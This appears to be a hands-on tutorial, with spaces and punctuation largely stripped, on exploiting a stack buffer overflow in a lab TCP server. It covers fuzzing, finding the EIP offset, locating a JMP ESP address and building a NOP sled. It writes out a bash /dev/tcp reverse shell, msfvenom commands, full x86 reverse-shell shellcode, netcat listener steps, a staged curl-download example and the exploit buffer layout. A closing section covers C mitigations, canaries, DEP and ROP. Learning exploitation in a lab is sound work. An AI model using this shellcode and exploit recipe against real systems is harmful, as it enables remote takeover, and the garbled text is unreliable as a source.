WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
